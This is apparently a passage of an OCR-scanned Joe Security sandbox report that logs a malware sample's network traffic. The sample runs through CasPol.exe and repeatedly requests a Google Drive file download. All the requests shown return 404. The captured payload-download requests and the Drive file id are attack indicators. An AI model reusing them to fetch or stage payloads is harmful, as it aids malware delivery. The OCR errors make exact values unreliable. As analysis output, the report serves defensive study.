User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-vbbYYkY1yyJR1X1tYLgf+A' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:41 GMT

Expires: Wed, 24 Nov 2021 10:54:41 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:08 UTC 105

2021-11-24 10:55:08 UTC 105

2021-11-24 10:55:08 UTC 106

2021-11-24 10:55:08 UTC 106

Session ID Source IP

71 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:08 UTC 106

2021-11-24 10:55:09 UTC 106

2021-11-24 10:55:09 UTC 107

2021-11-24 10:55:09 UTC 108

Session ID Source IP
72 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49894

Direction

ouT

Source Port

49895

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-hQM3LMkKEOXex3f9cfvoduw' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:08 GMT

Expires: Wed, 24 Nov 2021 10:55:08 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-xJLLD3WX+S1lyH+ZbO0IThg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:09 GMT

Expires: Wed, 24 Nov 2021 10:55:09 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:09 UTC 108

2021-11-24 10:55:09 UTC 108

2021-11-24 10:55:09 UTC 109

2021-11-24 10:55:09 UTC 109

Session ID Source IP

73 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:09 UTC 109

2021-11-24 10:55:09 UTC 109

2021-11-24 10:55:09 UTC 110

2021-11-24 10:55:09 UTC 111

Session ID Source IP
74 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49896

Direction

ouTt

Source Port

49897

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-Uk8FWJv4CO4q7BqCOwZx3A" 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:09 GMT

Expires: Wed, 24 Nov 2021 10:55:09 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-T4cca8THbv8IEfMFIOkz4w' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:09 GMT

Expires: Wed, 24 Nov 2021 10:55:09 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:10 UTC 111

2021-11-24 10:55:10 UTC 111

2021-11-24 10:55:10 UTC 112

2021-11-24 10:55:10 UTC 112

Session ID Source IP

75 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:10 UTC 112

2021-11-24 10:55:10 UTC 112

2021-11-24 10:55:10 UTC 113

2021-11-24 10:55:10 UTC 114

Session ID Source IP
76 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49898

Direction

ouTt

Source Port

49899

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-ukFz3VGk2geM8IxS4QgxqQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:10 GMT

Expires: Wed, 24 Nov 2021 10:55:10 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘'nonce-H41a0Q7LkhqlSSzALQLYAW' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:10 GMT

Expires: Wed, 24 Nov 2021 10:55:10 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:10 UTC 114

2021-11-24 10:55:11 UTC 114

2021-11-24 10:55:11 UTC 115

2021-11-24 10:55:11 UTC 115

Session ID Source IP

7 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:11 UTC 115

2021-11-24 10:55:11 UTC 115

2021-11-24 10:55:11 UTC 116

2021-11-24 10:55:11 UTC 117

Session ID Source IP
78 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49900

Direction

ouTt

Source Port

49901

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-4kTCwrBaLbHGESXF9oyy8A' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:11 GMT

Expires: Wed, 24 Nov 2021 10:55:11 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-HcOz3/0+6Ks5G/pZIBalMA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:11 GMT

Expires: Wed, 24 Nov 2021 10:55:11 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:11 UTC 117

2021-11-24 10:55:11 UTC 117

2021-11-24 10:55:11 UTC 118

2021-11-24 10:55:11 UTC 118

Session ID Source IP

79 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:12 UTC 118

2021-11-24 10:55:12 UTC 118

2021-11-24 10:55:12 UTC 119

2021-11-24 10:55:12 UTC 120

Session ID Source IP
8 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49902

Direction

ouTt

Source Port

49830

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-SSF6EUEgrel9KFxJwjxs8Q' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:11 GMT

Expires: Wed, 24 Nov 2021 10:55:11 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

